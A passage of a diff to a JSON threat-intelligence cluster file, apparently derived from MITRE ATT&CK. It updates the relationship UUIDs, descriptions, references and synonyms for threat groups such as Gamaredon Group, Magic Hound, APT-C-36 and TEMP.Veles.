"2edd9d6a-5674-4326-a600-ba56de467286", + "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3361,14 +4328,14 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3396,14 +4363,14 @@ "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "dest-uuid": "69b8fd78-40e8-4600-ae4d-662c9d7afdb3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3417,21 +4384,14 @@ "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3487,14 +4447,14 @@ "type": "uses" }, { - "dest-uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "dest-uuid": "e624264c-033a-424d-9fd7-fc9c3bbdb03e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "00d0b012-8a03-410e-95de-5826bf542de6", + "dest-uuid": "b0533c6e-8fea-4788-874f-b799cacc4b92", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3558,7 +4518,7 @@ "type": "uses" }, { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3576,12 +4536,14 @@ "value": "Winnti Group - G0044" }, { - "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government. (Citation: Palo Alto Gamaredon Feb 2017)", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) comes from a misspelling of the word \"Armageddon\", which was detected in the adversary's early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)", "meta": { "external_id": "G0047", "refs": [ "https://attack.mitre.org/groups/G0047", - "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/", + "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/" ], "synonyms": [ "Gamaredon Group" @@ -3610,7 +4572,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3645,7 +4607,7 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3657,13 +4619,160 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dc31fe1e-d722-49da-8f5f-92c7b5aff534", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c726e0a2-a57a-4b7b-a973-d0f013246617", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9e7452df-5144-4b6e-b04a-b66dd4016747", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", "value": "Gamaredon Group - G0047" }, { - "description": "[Charming Kitten](https://attack.mitre.org/groups/G0058) is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. [Charming Kitten](https://attack.mitre.org/groups/G0058) usually tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group's TTPs overlap extensively with another group, [Magic Hound](https://attack.mitre.org/groups/G0059), resulting in reporting that may not distinguish between the two groups' activities. (Citation: ClearSky Charming Kitten Dec 2017)", + "description": "[Charming Kitten](https://attack.mitre.org/groups/G0058) is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. [[Charming Kitten](https://attack.mitre.org/groups/G0058) often tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group's TTPs overlap extensively with another group, [Magic Hound](https://attack.mitre.org/groups/G0059), resulting in reporting that may not distinguish between the two groups' activities.(Citation: ClearSky Charming Kitten Dec 2017)", "meta": { "external_id": "G0058", "refs": [ @@ -3675,13 +4784,6 @@ ] }, "related": [ - { - "dest-uuid": "f98bac6b-12fd-4cad-be84-c84666932232", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, { "dest-uuid": "e48df773-7c95-4a4c-ba70-ea3d15900148", "tags": [ @@ -3690,28 +4792,30 @@ "type": "uses" } ], - "uuid": "7636484c-adc5-45d4-9bfe-c3e062fbc4a0", + "uuid": "92d5b3fd-3b39-438e-af68-770e447beada", "value": "Charming Kitten - G0058" }, { - "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group operating primarily in the Middle East that dates back as early as 2014. The group behind the campaign has primarily targeted organizations in the energy, government, and technology sectors that are either based or have business interests in Saudi Arabia.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018)", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group that conducts long term, resource-intensive operations to collect intelligence, dating back as early as 2014. The group typically targets U.S. and the Middle Eastern military, as well as other organizations with government personnel, via complex social engineering campaigns.(Citation: FireEye APT35 2018)", "meta": { "external_id": "G0059", "refs": [ "https://attack.mitre.org/groups/G0059", - "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/", "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf", + "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/", + "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations", "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf", - "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations" + "https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/" ], "synonyms": [ "Magic Hound", - "Rocket Kitten", - "Operation Saffron Rose", - "Ajax Security Team", - "Operation Woolen-Goldfish", - "Newscaster", "Cobalt Gypsy", + "Operation Woolen-Goldfish", + "Ajax Security Team", + "Operation Saffron Rose", + "Rocket Kitten", + "Phosphorus", + "Newscaster", "APT35" ] }, @@ -3772,13 +4876,6 @@ ], "type": "uses" }, - { - "dest-uuid": "9a2640c2-9f43-46fe-b13f-bde881e55555", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", "tags": [ @@ -3801,14 +4898,14 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "dest-uuid": "1e9eb839-294b-48cc-b0d3-c45555a2a004", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3822,7 +4919,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3849,13 +4946,6 @@ ], "type": "uses" }, - { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", "tags": [ @@ -3871,42 +4961,28 @@ "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d3df754e-997b-4cf9-97d4-70feb3120847", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3927,42 +5003,35 @@ "type": "uses" }, { - "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "fbd727ea-c0dc-42a9-8448-9e12962d1ab5", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3976,14 +5045,77 @@ "type": "uses" }, { - "dest-uuid": "04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e74de37c-a829-446c-937d-56a44f0e9306", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e48df773-7c95-4a4c-ba70-ea3d15900148", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fbd727ea-c0dc-42a9-8448-9e12962d1ab5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9a2640c2-9f43-46fe-b13f-bde881e55555", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4007,7 +5139,7 @@ }, "related": [ { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4028,21 +5160,21 @@ "type": "uses" }, { - "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "dest-uuid": "fdc47f44-dd32-4b99-af5f-209f556f63c2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4063,28 +5195,21 @@ "type": "uses" }, { - "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6aabc5ec-eae6-422c-8311-38d45ee9838a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4579d9c9-d5b9-45e0-9848-0104637b579f", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4108,35 +5233,35 @@ }, "related": [ { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "806a49c4-970d-43f9-9acc-ac0ee11e6662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4164,7 +5289,7 @@ "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4185,7 +5310,7 @@ "type": "uses" }, { - "dest-uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21", + "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4206,14 +5331,14 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4227,7 +5352,7 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4241,7 +5366,7 @@ "type": "uses" }, { - "dest-uuid": "04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4251,6 +5376,125 @@ "uuid": "1f21da59-6a13-455b-afd0-d58d0a5a7d27", "value": "Gorgon Group - G0078" }, + { + "description": "[Bouncing Golf](https://attack.mitre.org/groups/G0097) is a cyberespionage campaign targeting Middle Eastern countries.(Citation: Trend Micro Bouncing Golf 2019)", + "meta": { + "external_id": "G0097", + "refs": [ + "https://attack.mitre.org/groups/G0097", + "https://blog.trendmicro.com/trendlabs-security-intelligence/mobile-cyberespionage-campaign-bouncing-golf-affects-middle-east/" + ], + "synonyms": [ + "Bouncing Golf" + ] + }, + "related": [ + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c19cfc89-5ac6-4d2d-a236-70d2b32e007c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "049cef3b-22d5-4be6-b50c-9839c7a34fdd", + "value": "Bouncing Golf - G0097" + }, + { + "description": "[APT-C-36](https://attack.mitre.org/groups/G0099) is a suspected South America espionage group that has been active since at least 2018. The group mainly targets Colombian government institutions as well as important corporations in the financial sector, petroleum industry, and professional manufacturing.(Citation: QiAnXin APT-C-36 Feb2019)", + "meta": { + "external_id": "G0099", + "refs": [ + "https://attack.mitre.org/groups/G0099", + "https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/" + ], + "synonyms": [ + "APT-C-36", + "Blind Eagle" + ] + }, + "related": [ + { + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f8cd191-902c-4e83-bf20-b57c8c4640e9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "c4d50cdf-87ce-407d-86d8-862883485842", + "value": "APT-C-36 - G0099" + }, { "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019)", "meta": { @@ -4270,14 +5514,14 @@ }, "related": [ { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4298,42 +5542,42 @@ "type": "uses" }, { - "dest-uuid": "62166220-e498-410f-a90a-19d4339d4e99", + "dest-uuid": "6d4a7fb3-5a24-42be-ae61-6728a2b581f6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", + "dest-uuid": "2db31dcd-54da-405d-acef-b9129b816ed6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4347,7 +5591,7 @@ "type": "uses" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4361,7 +5605,7 @@ "type": "uses" }, { - "dest-uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df", + "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4382,14 +5626,21 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "00d0b012-8a03-410e-95de-5826bf542de6", + "dest-uuid": "b0533c6e-8fea-4788-874f-b799cacc4b92", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4427,21 +5678,21 @@ }, "related": [ { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": 